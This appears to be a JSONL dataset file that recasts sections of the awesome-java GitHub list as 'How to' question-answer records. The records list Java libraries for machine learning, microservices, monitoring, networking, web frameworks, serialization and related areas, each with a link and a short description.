{"id": "gh_4029a674b6af", "question": "How to: Machine Learning", "question_body": "About akullpp/awesome-java", "answer": "_Tools that provide specific statistical algorithms for learning from data._\n\n- [Apache Flink](https://flink.apache.org) - Fast, reliable, large-scale data processing engine.\n- [Apache Mahout](https://mahout.apache.org) - Scalable algorithms focused on collaborative filtering, clustering and classification.\n- [DatumBox](http://www.datumbox.com) - Provides several algorithms and pre-trained models for natural language processing.\n- [Deeplearning4j](https://deeplearning4j.org) - Distributed and multi-threaded deep learning library.\n- [DJL](https://djl.ai) - High-level and engine-agnostic framework for deep learning.\n- [H2O ![c]](https://www.h2o.ai) - Analytics engine for statistics over big data.\n- [Intelligent java](https://github.com/Barqawiz/IntelliJava) - Seamlessly integrate with remote deep learning and language models programmatically.\n- [JSAT](https://github.com/EdwardRaff/JSAT) - Algorithms for pre-processing, classification, regression, and clustering with support for multi-threaded execution. (GPL-3.0-only)\n- [m2cgen](https://github.com/BayesWitnesses/m2cgen) - CLI tool to transpile models into native code.\n- [Neureka](https://github.com/Gleethos/neureka) - A lightweight, platform independent, OpenCL accelerated nd-array/tensor library.\n- [oj! Algorithms](https://www.ojalgo.org/) - High-performance mathematics, linear algebra and optimisation needed for data science, machine learning and scientific computing.\n- [Oryx 2](https://github.com/OryxProject/oryx) - Framework for building real-time, large-scale machine learning applications. Includes end-to-end applications for collaborative filtering, classification, regression, and clustering.\n- [Siddhi](https://github.com/siddhi-io/siddhi) - Cloud native streaming and complex event processing engine.\n- [Smile](https://github.com/haifengl/smile) - Statistical Machine Intelligence and Learning Engine provides a set of machine learning algorithms and a visualization library.\n- [Tribuo](https://tribuo.org/) - Provides tools for classification, regression, clustering, model development and interfaces with other libraries such as scikit-learn, pytorch and TensorFlow.\n- [Weka](https://www.cs.waikato.ac.nz/ml/weka/) - Collection of algorithms for data mining tasks ranging from pre-processing to visualization. (GPL-3.0-only)", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916161"}
{"id": "gh_e172912b48e6", "question": "How to: Microservice", "question_body": "About akullpp/awesome-java", "answer": "_Tools for creating and managing microservices._\n\n- [ActiveRPC](https://rpc.activej.io) - Lightweight and fast library for complex high-load distributed applications and Memcached-like solutions.\n- [Armeria](https://github.com/line/armeria) - Asynchronous RPC/REST client/server library built on top of Java 8, Netty, HTTP/2, Thrift and gRPC.\n- [consul-api](https://github.com/Ecwid/consul-api) - Client for the Consul API: a distributed, highly available and datacenter-aware registry/discovery service.\n- [Eureka](https://github.com/Netflix/eureka) - REST-based service registry for resilient load balancing and failover.\n- [Helidon](https://helidon.io) - Two-style approach for writing microservices: Functional-reactive and as an implementation of MicroProfile.\n- [JDA](https://github.com/DV8FromTheWorld/JDA) - Wrapping of the Discord REST API and its WebSocket events.\n- [KeenType](https://github.com/DaveJarvis/KeenType) - Modernized version of a Java-based implementation of the New Typesetting System, which was heavily based on Donald E. Knuth's original TeX.\n- [kubernetes-client](https://github.com/fabric8io/kubernetes-client) - Client provides access to the full Kubernetes & OpenShift REST APIs via a fluent DSL.\n- [Micronaut](https://micronaut.io) - Modern full-stack framework with focus on modularity, minimal memory footprint and startup time.\n- [Nacos](https://nacos.io) - Dynamic service discovery, configuration and service management platform for building cloud native applications.\n- [OpenAI-Java](https://github.com/TheoKanning/openai-java) - Java libraries for using OpenAI's GPT-3 API.\n- [Quarkus](https://quarkus.io) - Kubernetes stack tailored for the HotSpot and Graal VM.\n- [Sentinel](https://github.com/alibaba/Sentinel) - Flow control component enabling reliability, resilience and monitoring for microservices.", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916169"}
{"id": "gh_d218e14fd90d", "question": "How to: Miscellaneous", "question_body": "About akullpp/awesome-java", "answer": "_Everything else._\n\n- [CQEngine](https://github.com/npgall/cqengine) - Ultra-fast, SQL-like queries on Java collections.\n- [Design Patterns](https://github.com/iluwatar/java-design-patterns) - Implementation and explanation of the most common design patterns.\n- [FF4J](https://github.com/ff4j/ff4j) - Feature Flags for Java.\n- [FizzBuzz Enterprise Edition](https://github.com/EnterpriseQualityCoding/FizzBuzzEnterpriseEdition) - No-nonsense implementation of FizzBuzz made by serious businessmen for serious business purposes. (No explicit license)\n- [IP2Location.io Java SDK](https://github.com/ip2location/ip2location-io-java) - Wrapper for the IP2Location.io Geolocation API and the IP2WHOIS domain WHOIS API.\n- [ISBN core](https://github.com/ladutsko/isbn-core) - A small library that contains a representation object of ISBN-10 and ISBN-13 and tools to parse, validate and format one.\n- [J2ObjC](https://github.com/google/j2objc) - Java-to-Objective-C translator for porting Android libraries to iOS.\n- [JBake](https://jbake.org) - Static website generator.\n- [JBang](https://www.jbang.dev/) - JBang makes it easy to use Java for scripting. It lets you use a single file for code and dependency management and allows you to run it directly.\n- [JBot](https://github.com/rampatra/jbot) - Framework for building chatbots. (GPL-3.0-only)\n- [JCuda](http://jcuda.org) - JCuda offers Java bindings for CUDA and CUDA-related libraries.\n- [JEmoji](https://github.com/felldo/JEmoji) - An auto-generated emoji library that provides type-safe direct access to emojis and alias support for Discord, Slack, GitHub and many more features.\n- [Jimfs](https://github.com/google/jimfs) - In-memory file system.\n- [JObfuscator![c]](https://www.pelock.com/products/jobfuscator) - Source code obfuscator.\n- [Joda-Money](https://www.joda.org/joda-money/) - Basic currency and money classes and algorithms not provided by the JDK.\n- [jOOX](https://github.com/jooq/joox) - Simple wrapper for the org.w3c.dom package, to allow for fluent XML document creation and manipulation with an API inspired by jQuery.\n- [JPad](http://jpad.io) - Snippet runner.\n- [jsweet](https://github.com/cincheo/jsweet) - Source transpiler to TypeScript/JavaScript.\n- [Maven Wrapper](https://github.com/takari/maven-wrapper) - Analogue of Gradle Wrapper for Maven, allows building projects without installing maven.\n- [Membrane Service Proxy](https://github.com/membrane/service-proxy) - Open-source, reverse-proxy framework.\n- [MinimalFTP](https://github.com/Guichaguri/MinimalFTP) - Lightweight, small and customizable FTP server.\n- [LittleProxy](https://github.com/adamfisk/LittleProxy) - High performance HTTP proxy atop Netty's event-based networking library.\n- [Modern Java - A Guide to Java 8](https://github.com/winterbe/java8-tutorial) - Popular Java 8 guide.\n- [Modernizer](https://github.com/gaul/modernizer-maven-plugin) - Detect uses of legacy Java APIs.\n- [OctoLinker](https://github.com/OctoLinker/OctoLinker) - Browser extension which allows to navigate through code on GitHub more efficiently.\n- [OpenRefine](http://openrefine.org) - Tool for working with messy data: cleaning, transforming, extending it with web services and linking it to databases.\n- [PipelinR](https://github.com/sizovs/pipelinr) - Small utility library for using handlers and commands with pipelines.\n- [Polyglot for Maven](https://github.com/takari/polyglot-maven) - Extensions for Maven 3.3.1+ that allows writing the POM model in dialects other than XML.\n- [RR4J](https://github.com/Kartikvk1996/RR4J) - RR4J is a tool that records java bytecode execution and later allows developers to replay locally.\n- [Simple Java Mail](https://github.com/bbottema/simple-java-mail) - Mailing with a clean and fluent API.\n- [Smooks](https://github.com/smooks/smooks) - Framework for fragment-based message processing. (Apache-2.0 OR LGPL-3.0-or-later)\n- [Svix](https://github.com/svix/svix-webhooks/tree/main/java) - Library for the Svix API to send webhooks and verify signatures.\n- [Togglz](https://www.togglz.org) - Implementation of the Feature Toggles pattern.\n- [TypeTools](https://github.com/jhalterman/typetools) - Tools for resolving generic types.\n- [webcam-capture](https://github.com/sarxos/webcam-capture) - Library for using built-in and external webcams directly in Java.\n- [XMLBeam](https://github.com/SvenEwald/xmlbeam) - Processes XML by using annotations or XPath within code.\n- [yGuard](https://github.com/yWorks/yGuard) - Obfuscation via renaming and shrinking.", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916181"}
{"id": "gh_ed4bc4785900", "question": "How to: Mobile Development", "question_body": "About akullpp/awesome-java", "answer": "_Tools for creating or managing mobile applications._\n\n- [Codename One](https://www.codenameone.com) - Cross-platform solution for writing native mobile apps. (GPL-2.0-only WITH Classpath-exception-2.0)\n- [MobileUI](https://mobileui.dev) - Cross-platform framework for developing mobile apps with native UI in Java and Kotlin.\n- [Multi-OS Engine](https://multi-os-engine.org) - Open-source, cross-platform engine to develop native mobile (iOS, Android, etc.) apps.", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916187"}
{"id": "gh_89e10f85c5f9", "question": "How to: Monitoring", "question_body": "About akullpp/awesome-java", "answer": "_Tools that observe/monitor applications in production by providing telemetry._\n\n- [Apitally](https://github.com/apitally/apitally-java) - Simple, privacy-focused API monitoring, analytics and request logging for Spring Boot apps.\n- [Automon](https://github.com/stevensouza/automon) - Combines the power of AOP with monitoring and/or logging tools.\n- [Datadog ![c]](https://github.com/DataDog/dd-trace-java) - Modern monitoring & analytics.\n- [Dropwizard Metrics](https://github.com/dropwizard/metrics) - Expose metrics via JMX or HTTP and send them to a database.\n- [Failsafe Actuator](https://github.com/zalando/failsafe-actuator) - Out of the box monitoring of Failsafe Circuit Breaker in Spring-Boot environment.\n- [Glowroot](https://glowroot.org) - Open-source Java APM.\n- [HertzBeat](https://github.com/dromara/hertzbeat) - Real-time monitoring system with custom-monitor and agentless.\n- [hippo4j](https://github.com/opengoofy/hippo4j/blob/develop/README-EN.md) - Dynamic and observable thread pool framework.\n- [inspectIT](https://www.inspectit.rocks) - Captures detailed run-time information via hooks that can be changed on the fly. It supports tracing over multiple systems via the OpenTracing API and can correlate the data with end user monitoring.\n- [Instrumental ![c]](https://instrumentalapp.com) - Real-time Java application performance monitoring. A commercial service with free development accounts.\n- [Jaeger client](https://github.com/jaegertracing/jaeger-client-java) - Jaeger client.\n- [JavaMelody](https://github.com/javamelody/javamelody) - Performance monitoring and profiling.\n- [jmxtrans](https://github.com/jmxtrans/jmxtrans) - Connect to multiple JVMs and query them for their attributes via JMX. Its query language is based on JSON, which allows non-Java programmers to access the JVM attributes. Supports different output writes, including Graphite, Ganglia, and StatsD.\n- [Jolokia](https://jolokia.org) - JMX over REST.\n- [Micrometer](https://github.com/micrometer-metrics/micrometer) - Vendor-neutral metrics/observability facade for the most popular metrics/observability libraries.\n- [Micrometer Tracing](https://github.com/micrometer-metrics/tracing) - Vendor-neutral distributed tracing facade for the most popular tracer libraries.\n- [nudge4j](https://github.com/lorenzoongithub/nudge4j) - Remote developer console from the browser for Java 8 via bytecode injection.\n- [OpenTelemetry](https://github.com/open-telemetry/opentelemetry-java) - Instrument, generate, collect, and export telemetry data to help you analyze your software’s performance and behavior.\n- [Pinpoint](https://github.com/naver/pinpoint) - Open-source APM tool.\n- [Prometheus](https://github.com/prometheus/client_java) - Provides a multi-dimensional data model, DSL, autonomous server nodes and much more.\n- [Sentry ![c]](https://github.com/getsentry/sentry-java) - Integration with [Sentry](https://github.com/getsentry/sentry), an application error tracking and performance analysis platform.\n- [SPM ![c]](https://github.com/sematext/sematext-agent-java) - Performance monitor with distributing transaction tracing for JVM apps.\n- [Stagemonitor](https://github.com/stagemonitor/stagemonitor) - Open-source performance monitoring and transaction tracing for JVM apps.\n- [Sysmon](https://github.com/palantir/Sysmon) - Lightweight platform monitoring tool for Java VMs.\n- [zipkin](https://zipkin.io) - Distributed tracing system which gathers timing data needed to troubleshoot latency problems in microservice architectures.", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916200"}
{"id": "gh_a5f2f66842b4", "question": "How to: Natural Language Processing", "question_body": "About akullpp/awesome-java", "answer": "_Libraries that specialize in processing text._\n\n- [CogCompNLP](https://github.com/CogComp/cogcomp-nlp) - Provides common annotators for plain text input. (Research and Academic Use License)\n- [CoreNLP](https://nlp.stanford.edu/software/corenlp.shtml) - Provides a set of fundamental tools for tasks like tagging, named entity recognition, and sentiment analysis. (GPL-3.0-or-later)\n- [DKPro](https://dkpro.github.io) - Collection of reusable NLP tools for linguistic pre-processing, machine learning, lexical resources, etc.\n- [Hypherator](https://github.com/ejossev/hypherator-java) - Java hyphenation library with iterator-like interface. Can be used out-of-the box - dictionaries for multiple languages are bundled in.\n- [LingPipe](http://alias-i.com/lingpipe/) - Toolkit for tasks ranging from POS tagging to sentiment analysis.", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916206"}
{"id": "gh_1f0906304bc8", "question": "How to: Networking", "question_body": "About akullpp/awesome-java", "answer": "_Libraries for building network servers._\n\n- [Commons-networking](https://github.com/CiscoSE/commons-networking) - Client for server-sent events (SSE).\n- [Comsat](https://github.com/puniverse/comsat) - Integrates standard Java web-related APIs with Quasar fibers and actors.\n- [Dubbo](https://github.com/apache/dubbo) - High-performance RPC framework.\n- [Grizzly](https://javaee.github.io/grizzly/) - NIO framework. Used as a network layer in Glassfish.\n- [gRPC-java](https://github.com/grpc/grpc-java) - RPC framework based on protobuf and HTTP/2.\n- [KryoNet](https://github.com/EsotericSoftware/kryonet) - Provides a clean and simple API for efficient TCP and UDP client/server network communication using NIO and Kryo.\n- [MINA](https://mina.apache.org) - Abstract, event-driven async I/O API for network operations over TCP/IP and UDP/IP via Java NIO.\n- [Netty](https://netty.io) - Framework for building high-performance network applications.\n- [Drift](https://github.com/airlift/drift) - Easy-to-use, annotation-based library for creating Thrift clients and serializable types.\n- [ServiceTalk](https://github.com/apple/servicetalk) - Framework built on Netty with APIs tailored to specific protocols and support for multiple programming paradigms.\n- [sshj](https://github.com/hierynomus/sshj) - Programmatically use SSH, SCP or SFTP.\n- [TLS Channel](https://github.com/marianobarrios/tls-channel) - Implements a ByteChannel interface over SSLEngine, enabling easy-to-use (socket-like) TLS.\n- [Undertow](http://undertow.io) - Web server providing both blocking and non-blocking APIs based on NIO. Used as a network layer in WildFly. (LGPL-2.1-only)\n- [urnlib](https://github.com/slub/urnlib) - Represent, parse and encode URNs, as in RFC 2141. (GPL-3.0-only)\n- [Fluency](https://github.com/komamitsu/fluency) - High throughput data ingestion logger to Fluentd and Fluent Bit.", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916214"}
{"id": "gh_7e2062114f50", "question": "How to: Pathfinding", "question_body": "About akullpp/awesome-java", "answer": "_Algorithms and libraries for finding routes in graphs and spatial environments._\n\n- [Pathetic](https://github.com/bsommerfeld/pathetic) - A highly configurable 3D A\\* pathfinding library that uses specific optimizations for high performance.", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916220"}
{"id": "gh_19210c6d1b8e", "question": "How to: Performance analysis", "question_body": "About akullpp/awesome-java", "answer": "_Tools for performance analysis, profiling and benchmarking._\n\n- [fastThread ![c]](https://fastthread.io) - Analyze and visualize thread dumps with a free cloud-based upload interface.\n- [GCeasy ![c]](https://gceasy.io) - Tool to analyze and visualize GC logs. It provides a free cloud-based upload interface.\n- [honest-profiler](https://github.com/jvm-profiling-tools/honest-profiler) - Low-overhead, bias-free sampling profiler.\n- [jHiccup](https://github.com/giltene/jHiccup) - Logs and records platform JVM stalls.\n- [JITWatch](https://github.com/AdoptOpenJDK/jitwatch) - Analyze the JIT compiler optimisations made by the HotSpot JVM.\n- [JMH](http://openjdk.java.net/projects/code-tools/jmh/) - Harness for building, running, and analysing nano/micro/milli/macro benchmarks written in Java and other languages targeting the JVM. (GPL-2.0 only WITH Classpath-exception-2.0)\n- [LatencyUtils](https://github.com/LatencyUtils/LatencyUtils) - Utilities for latency measurement and reporting.", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916227"}
{"id": "gh_d9ae2f6037f7", "question": "How to: Reactive libraries", "question_body": "About akullpp/awesome-java", "answer": "_Libraries for developing reactive applications._\n\n- [Akka](https://akka.io) - Toolkit and runtime for building concurrent, distributed, fault-tolerant and event-driven applications.\n- [Reactive Streams](https://github.com/reactive-streams/reactive-streams-jvm) - Provides a standard for asynchronous stream processing with non-blocking backpressure.\n- [Reactor](https://github.com/reactor/reactor) - A framework for building non-blocking applications on the JVM, providing support for reactive programming.\n- [RxJava](https://github.com/ReactiveX/RxJava) - Allows for composing asynchronous and event-based programs using observable sequences.\n- [vert.x](https://vertx.io) - Polyglot event-driven application framework.", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916237"}
{"id": "gh_9acc4417b166", "question": "How to: REST Frameworks", "question_body": "About akullpp/awesome-java", "answer": "_Frameworks specifically for creating RESTful services._\n\n- [Dropwizard](https://github.com/dropwizard/dropwizard) - Opinionated framework for setting up modern web applications with Jetty, Jackson, Jersey and Metrics.\n- [Elide](https://elide.io) - Opinionated framework for JSON- or GraphQL-APIs based on a JPA data model.\n- [Jersey](https://jersey.github.io) - JAX-RS reference implementation.\n- [Microserver](https://github.com/aol/micro-server) - Convenient, extensible microservices plugin system for Spring & Spring Boot. With more than 30 plugins and growing, it supports both micro-monolith and pure microservices styles.\n- [Rapidoid](https://www.rapidoid.org) - Simple, secure and extremely fast framework consisting of an embedded HTTP server, GUI components and dependency injection.\n- [rest.li](https://github.com/linkedin/rest.li) - Framework for building robust, scalable RESTful architectures using typesafe bindings and asynchronous, non-blocking IO with an end-to-end developer workflow that promotes clean practices, uniform interface design and consistent data modeling.\n- [RESTEasy](https://resteasy.github.io) - Fully certified and portable implementation of the JAX-RS specification.\n- [RestExpress](https://github.com/RestExpress/RestExpress) - Thin wrapper on the JBoss Netty HTTP stack that provides scaling and performance.\n- [Restlet Framework](https://github.com/restlet/restlet-framework-java) - Pioneering framework with powerful routing and filtering capabilities, and a unified client and server API.\n- [Spark](http://sparkjava.com) - Sinatra inspired framework.\n- [Crnk](http://www.crnk.io) - Implementation of the JSON API specification to build resource-oriented REST endpoints with sorting, filtering, paging, linking, object graphs, type-safety, bulk updates, integrations and more.\n- [springdoc-openapi](https://github.com/springdoc/springdoc-openapi) - Automates the generation of API documentation using Spring Boot projects.\n- [Swagger](https://swagger.io) - Standard, language-agnostic interface to REST APIs.\n- [openapi-generator](https://github.com/OpenAPITools/openapi-generator) - Allows generation of API client libraries, SDKs, server stubs, documentation and configuration automatically given an OpenAPI Spec.", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916245"}
{"id": "gh_180a1d4968ec", "question": "How to: Serialization", "question_body": "About akullpp/awesome-java", "answer": "_Libraries that handle serialization with high efficiency._\n\n- [FlatBuffers](https://github.com/google/flatbuffers) - Memory-efficient serialization library that can access serialized data without unpacking and parsing it.\n- [FST](https://github.com/RuedigerMoeller/fast-serialization) - JDK-compatible, high-performance object graph serialization.\n- [Fury](https://github.com/alipay/fury) - Blazing fast object graph serialization framework powered by JIT and zero-copy.\n- [Kryo](https://github.com/EsotericSoftware/kryo) - Fast and efficient object graph serialization framework.\n- [MessagePack](https://github.com/msgpack/msgpack-java) - Efficient binary serialization format.\n- [PHP Serializer](https://github.com/marcospassos/java-php-serializer) - Serializing objects in the PHP serialization format.", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916255"}
{"id": "gh_4fc130803754", "question": "How to: Template Engine", "question_body": "About akullpp/awesome-java", "answer": "_Tools that substitute expressions in a template._\n\n- [Freemarker](https://freemarker.apache.org) - Library to generate text output (HTML web pages, e-mails, configuration files, source code, etc.) based on templates and changing data.\n- [Handlebars.java](https://jknack.github.io/handlebars.java/) - Logicless and semantic Mustache templates.\n- [Jade4J](https://github.com/neuland/jade4j) - Implementation of Pug (formerly known as Jade).\n- [Jamal](https://github.com/verhas/jamal) - Extendable template engine embedded into Maven/JavaDoc, supporting multiple extensions (Groovy, Ruby, JavaScript, JShell, PlantUml) with support for snippet handling.\n- [jstachio](https://github.com/jstachio/jstachio) - Typesafe Mustache templating engine.\n- [jte](https://github.com/casid/jte) - Compiles to classes, and uses an easy syntax, several features to make development easier and provides fast execution and a small footprint.\n- [Jtwig](https://github.com/jtwig/jtwig) - Modular, configurable and fully tested template engine.\n- [Pebble](https://pebbletemplates.io) - Inspired by Twig and separates itself with its inheritance feature and its easy-to-read syntax. It ships with built-in autoescaping for security and it includes integrated support for internationalization.\n- [Rocker](https://github.com/fizzed/rocker) - Optimized, memory efficient and speedy template engine producing statically typed, plain objects.\n- [StringTemplate](https://github.com/antlr/stringtemplate4) - Template engine for generating source code, web pages, emails, or any other formatted text output.\n- [Thymeleaf](https://www.thymeleaf.org) - Aims to be a substitute for JSP and works for XML files.", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916262"}
{"id": "gh_992965dbdae3", "question": "How to: Version Managers", "question_body": "About akullpp/awesome-java", "answer": "_Utilities that help create the development shell environment and switch between different Java versions._\n\n- [jabba](https://github.com/shyiko/jabba) - Java Version Manager inspired by nvm. Supports macOS, Linux and Windows.\n- [jenv](https://github.com/jenv/jenv) - Java Version Manager inspired by rbenv. Can configure globally or per project. Tested on Debian and macOS.\n- [SDKMan](https://github.com/sdkman/sdkman-cli) - Java Version Manager inspired by RVM and rbenv. Supports UNIX-based platforms and Windows.", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916277"}
{"id": "gh_9e8591790f7b", "question": "How to: Web Crawling", "question_body": "About akullpp/awesome-java", "answer": "_Libraries that analyze the content of websites._\n\n- [Apache Nutch](https://nutch.apache.org) - Highly extensible, highly scalable web crawler for production environments.\n- [Crawler4j](https://github.com/yasserg/crawler4j) - Simple and lightweight web crawler.\n- [jsoup](https://jsoup.org) - Scrapes, parses, manipulates and cleans HTML.\n- [StormCrawler](http://stormcrawler.net) - SDK for building low-latency and scalable web crawlers.\n- [webmagic](https://github.com/code4craft/webmagic) - Scalable crawler with downloading, url management, content extraction and persistent.", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916282"}
{"id": "gh_4c6d6a34d732", "question": "How to: Web Frameworks", "question_body": "About akullpp/awesome-java", "answer": "_Frameworks that handle the communication between the layers of a web application._\n\n- [ActiveJ](https://activej.io) - Lightweight asynchronous framework built from the ground up for developing high-performance web applications.\n- [Apache Tapestry](https://tapestry.apache.org) - Component-oriented framework for creating dynamic, robust, highly scalable web applications.\n- [Apache Wicket](https://wicket.apache.org) - Component-based web application framework similar to Tapestry, with a stateful GUI.\n- [Blade](https://github.com/lets-blade/blade) - Lightweight, modular framework that aims to be elegant and simple.\n- [Bootique](https://bootique.io) - Minimally opinionated framework for runnable apps.\n- [Firefly](http://www.fireflysource.com) - Asynchronous framework for rapid development of high-performance web application.\n- [Javalin](https://javalin.io/) - Microframework for web applications.\n- [Jooby](http://www.jooby.org) - Scalable, fast and modular micro-framework that offers multiple programming models.\n- [Ninja](http://www.ninjaframework.org) - Full-stack web framework.\n- [Pippo](http://www.pippo.ro) - Small, highly modularized, Sinatra-like framework.\n- [Play](https://www.playframework.com) - Built on Akka, it provides predictable and minimal resource consumption (CPU, memory, threads) for highly-scalable applications in Java and Scala.\n- [PrimeFaces](https://www.primefaces.org) - JSF framework with both free and commercial/support versions and frontend components.\n- [Ratpack](https://ratpack.io) - Set of libraries that facilitate fast, efficient, evolvable and well-tested HTTP applications.\n- [Takes](https://github.com/yegor256/takes) - Opinionated web framework which is built around the concepts of True Object-Oriented Programming and immutability.\n- [Vaadin](https://vaadin.com) - Full-stack open-source Java framework that simplifies web app development. Build complex, interactive applications with Java alone, and enhance with TypeScript and React components, without needing deep JavaScript, CSS, or HTML expertise.\n- [WebForms Core](https://github.com/webforms-core) - A technology for managing HTML tags from the server.\n- [Erupt](https://github.com/erupts/erupt) - Annotation-Driven Low-Code & JPA Visualization", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916290"}
{"id": "gh_032c925ed18b", "question": "How to: Workflow Orchestration Engines", "question_body": "About akullpp/awesome-java", "answer": "- [Cadence](https://cadenceworkflow.io) - Stateful code platform from Uber.\n- [flowable](https://github.com/flowable/flowable-engine) - Compact and efficient workflow and business process management platform.\n- [Temporal](https://temporal.io) - Microservice orchestration platform, forked from Cadence but gRPC based.", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916295"}
{"id": "gh_e56300b40107", "question": "How to: Related Awesome Lists", "question_body": "About akullpp/awesome-java", "answer": "_Awesome Lists related to the Java & JVM ecosystem._\n\n- [Awesome Annotation Processing](https://github.com/gunnarmorling/awesome-annotation-processing)\n- [Awesome Graal](https://github.com/neomatrix369/awesome-graal)\n- [Awesome Gradle Plugins](https://github.com/ksoichiro/awesome-gradle)\n- [Awesome Java libraries and hidden gems](https://libs.tech/java)\n- [Awesome J2ME](https://github.com/hstsethi/awesome-j2me)\n- [AwesomeJavaFX](https://github.com/mhrimaz/AwesomeJavaFX)\n- [Awesome JVM](https://github.com/deephacks/awesome-jvm)\n- [Awesome Microservices](https://github.com/mfornos/awesome-microservices)\n- [Awesome REST](https://github.com/marmelab/awesome-rest)\n- [Awesome Selenium](https://github.com/christian-bromann/awesome-selenium)\n- [Awesome Hybris](https://github.com/eminyagiz42/awesome-hybris)\n- [ciandcd](https://github.com/ciandcd/awesome-ciandcd)\n- [Useful Java Links](https://github.com/Vedenin/useful-java-links)\n- [Java Concurrency Checklist](https://github.com/code-review-checklists/java-concurrency)\n- [Java Developer Roadmap](https://github.com/s4kibs4mi/java-developer-roadmap)", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916302"}
{"id": "gh_ac39ca003f8b", "question": "How to: Communities", "question_body": "About akullpp/awesome-java", "answer": "_Active discussions._\n\n- [r/java](https://www.reddit.com/r/java/) - Subreddit for the Java community.\n- [Stack Overflow](https://stackoverflow.com/questions/tagged/java) - Question/answer platform.", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916306"}
{"id": "gh_2f9b1319463b", "question": "How to: Influential Books", "question_body": "About akullpp/awesome-java", "answer": "_Books that made a big impact and are still worth reading._\n\n- [Core Java Volume I--Fundamentals](https://www.amazon.com/Core-Java-I-Fundamentals-10th/dp/0134177304)\n- [Core Java, Volume II--Advanced Features](https://www.amazon.com/Core-Java-II-Advanced-Features-10th/dp/0134177290)\n- [Effective Java (3rd Edition)](https://www.amazon.com/Effective-Java-3rd-Joshua-Bloch/dp/0134685997)\n- [Head First Java (3rd Edition)](https://www.oreilly.com/library/view/head-first-java/9781492091646/)\n- [Java Concurrency in Practice](https://www.amazon.com/Java-Concurrency-Practice-Brian-Goetz/dp/0321349601)\n- [The Well-Grounded Java Developer (2nd Edition)](https://www.manning.com/books/the-well-grounded-java-developer-second-edition)\n- [Thinking in Java](https://www.amazon.com/Thinking-Java-Edition-Bruce-Eckel/dp/0131872486)", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916312"}
